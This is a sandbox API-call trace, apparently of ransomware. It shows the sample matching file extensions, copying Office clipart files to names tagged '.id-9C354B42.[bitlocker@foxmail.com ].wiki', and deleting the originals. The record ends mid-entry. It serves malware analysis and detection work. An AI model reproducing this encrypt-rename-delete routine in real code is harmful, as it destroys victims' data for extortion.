[0196.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0196.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0196.858] lstrlenW (lpString=".doc") returned 4 [0196.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.858] lstrlenW (lpString=".docx") returned 5 [0196.858] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0196.858] lstrlenW (lpString=".pdf") returned 4 [0196.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.858] lstrlenW (lpString=".xls") returned 4 [0196.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.858] lstrlenW (lpString=".xlsx") returned 5 [0196.858] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0196.858] lstrlenW (lpString=".ppt") returned 4 [0196.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0196.859] lstrlenW (lpString=".zip") returned 4 [0196.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.859] lstrlenW (lpString=".rar") returned 4 [0196.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.859] lstrlenW (lpString=".bz2") returned 4 [0196.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.859] lstrlenW (lpString=".7z") returned 3 [0196.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0196.859] lstrlenW (lpString=".dbf") returned 4 [0196.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0196.859] lstrlenW (lpString=".1cd") returned 4 [0196.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0196.859] lstrlenW (lpString=".jpg") returned 4 [0196.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.859] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.859] lstrlenW (lpString="J0151073.WMF") returned 12 [0196.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0196.860] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=13336) returned 1 [0196.860] CloseHandle (hObject=0x17c) returned 1 [0196.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf")) returned 0x20 [0196.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0196.860] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.860] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0196.861] GetLastError () returned 0x0 [0196.861] ReadFile (in: hFile=0x17c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x3418, lpOverlapped=0x0) returned 1 [0196.863] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x3420, lpOverlapped=0x0) returned 1 [0196.864] ReadFile (in: hFile=0x17c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0196.864] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.864] SetEndOfFile (hFile=0x218) returned 1 [0196.864] CloseHandle (hObject=0x218) returned 1 [0196.864] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.864] SetEndOfFile (hFile=0x17c) returned 1 [0196.865] CloseHandle (hObject=0x17c) returned 1 [0196.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.865] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf")) returned 1 [0196.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0196.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0196.865] lstrlenW (lpString=".doc") returned 4 [0196.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.866] lstrlenW (lpString=".docx") returned 5 [0196.866] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0196.866] lstrlenW (lpString=".pdf") returned 4 [0196.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.866] lstrlenW (lpString=".xls") returned 4 [0196.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.866] lstrlenW (lpString=".xlsx") returned 5 [0196.866] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0196.866] lstrlenW (lpString=".ppt") returned 4 [0196.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0196.866] lstrlenW (lpString=".zip") returned 4 [0196.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.866] lstrlenW (lpString=".rar") returned 4 [0196.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.866] lstrlenW (lpString=".bz2") returned 4 [0196.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.866] lstrlenW (lpString=".7z") returned 3 [0196.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0196.866] lstrlenW (lpString=".dbf") returned 4 [0196.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0196.866] lstrlenW (lpString=".1cd") returned 4 [0196.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0196.866] lstrlenW (lpString=".jpg") returned 4 [0196.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0196.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0196.867] lstrlenW (lpString=".doc") returned 4 [0196.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.867] lstrlenW (lpString=".docx") returned 5 [0196.867] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0196.867] lstrlenW (lpString=".pdf") returned 4 [0196.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.867] lstrlenW (lpString=".xls") returned 4 [0196.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.867] lstrlenW (lpString=".xlsx") returned 5 [0196.867] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0196.867] lstrlenW (lpString=".ppt") returned 4 [0196.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0196.867] lstrlenW (lpString=".zip") returned 4 [0196.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.867] lstrlenW (lpString=".rar") returned 4 [0196.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.867] lstrlenW (lpString=".bz2") returned 4 [0196.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.867] lstrlenW (lpString=".7z") returned 3 [0196.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0196.867] lstrlenW (lpString=".dbf") returned 4 [0196.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0196.867] lstrlenW (lpString=".1cd") returned 4 [0196.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0196.867] lstrlenW (lpString=".jpg") returned 4 [0196.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.868] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.868] lstrlenW (lpString="J0152414.WMF") returned 12 [0196.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0196.868] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=24844) returned 1 [0196.868] CloseHandle (hObject=0x17c) returned 1 [0196.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf")) returned 0x20 [0196.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0196.869] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.869] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0196.869] GetLastError () returned 0x0 [0196.869] ReadFile (in: hFile=0x17c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x610c, lpOverlapped=0x0) returned 1 [0196.871] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x6110, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x6110, lpOverlapped=0x0) returned 1 [0196.873] ReadFile (in: hFile=0x17c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0196.873] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.873] SetEndOfFile (hFile=0x218) returned 1 [0196.873] CloseHandle (hObject=0x218) returned 1 [0196.873] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.873] SetEndOfFile (hFile=0x17c) returned 1 [0196.874] CloseHandle (hObject=0x17c) returned 1 [0196.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf")) returned 1 [0196.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0196.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0196.875] lstrlenW (lpString=".doc") returned 4 [0196.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.875] lstrlenW (lpString=".docx") returned 5 [0196.875] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0196.875] lstrlenW (lpString=".pdf") returned 4 [0196.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.875] lstrlenW (lpString=".xls") returned 4 [0196.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.875] lstrlenW (lpString=".xlsx") returned 5 [0196.875] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0196.875] lstrlenW (lpString=".ppt") returned 4 [0196.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0196.875] lstrlenW (lpString=".zip") returned 4 [0196.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.875] lstrlenW (lpString=".rar") returned 4 [0196.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.875] lstrlenW (lpString=".bz2") returned 4 [0196.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.875] lstrlenW (lpString=".7z") returned 3 [0196.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0196.875] lstrlenW (lpString=".dbf") returned 4 [0196.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0196.875] lstrlenW (lpString=".1cd") returned 4 [0196.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0196.875] lstrlenW (lpString=".jpg") returned 4 [0196.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0196.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0196.876] lstrlenW (lpString=".doc") returned 4 [0196.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.876] lstrlenW (lpString=".docx") returned 5 [0196.876] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0196.876] lstrlenW (lpString=".pdf") returned 4 [0196.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.876] lstrlenW (lpString=".xls") returned 4 [0196.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.876] lstrlenW (lpString=".xlsx") returned 5 [0196.876] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0196.876] lstrlenW (lpString=".ppt") returned 4 [0196.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0196.876] lstrlenW (lpString=".zip") returned 4 [0196.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.876] lstrlenW (lpString=".rar") returned 4 [0196.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.876] lstrlenW (lpString=".bz2") returned 4 [0196.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.876] lstrlenW (lpString=".7z") returned 3 [0196.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0196.876] lstrlenW (lpString=".dbf") returned 4 [0196.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0196.876] lstrlenW (lpString=".1cd") returned 4 [0196.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0196.876] lstrlenW (lpString=".jpg") returned 4 [0196.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.877] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.877] lstrlenW (lpString="J0152430.WMF") returned 12 [0196.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0196.878] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=14132) returned 1 [0196.878] CloseHandle (hObject=0x17c) returned 1 [0196.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf")) returned 0x20 [0196.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0196.878] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.879] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0196.879] GetLastError () returned 0x0 [0196.879] ReadFile (in: hFile=0x17c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x3734, lpOverlapped=0x0) returned 1 [0196.990] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x3740, lpOverlapped=0x0) returned 1 [0197.240] ReadFile (in: hFile=0x17c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0197.240] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.240] SetEndOfFile (hFile=0x218) returned 1 [0197.240] CloseHandle (hObject=0x218) returned 1 [0197.240] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.240] SetEndOfFile (hFile=0x17c) returned 1 [0197.250] CloseHandle (hObject=0x17c) returned 1 [0197.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf")) returned 1 [0197.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0197.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0197.277] lstrlenW (lpString=".doc") returned 4 [0197.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.277] lstrlenW (lpString=".docx") returned 5 [0197.277] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0197.277] lstrlenW (lpString=".pdf") returned 4 [0197.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.277] lstrlenW (lpString=".xls") returned 4 [0197.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.277] lstrlenW (lpString=".xlsx") returned 5 [0197.277] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0197.277] lstrlenW (lpString=".ppt") returned 4 [0197.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0197.277] lstrlenW (lpString=".zip") returned 4 [0197.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.277] lstrlenW (lpString=".rar") returned 4 [0197.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.277] lstrlenW (lpString=".bz2") returned 4 [0197.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.277] lstrlenW (lpString=".7z") returned 3 [0197.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0197.277] lstrlenW (lpString=".dbf") returned 4 [0197.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0197.277] lstrlenW (lpString=".1cd") returned 4 [0197.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0197.278] lstrlenW (lpString=".jpg") returned 4 [0197.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0197.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0197.278] lstrlenW (lpString=".doc") returned 4 [0197.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.278] lstrlenW (lpString=".docx") returned 5 [0197.278] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0197.278] lstrlenW (lpString=".pdf") returned 4 [0197.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.278] lstrlenW (lpString=".xls") returned 4 [0197.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.278] 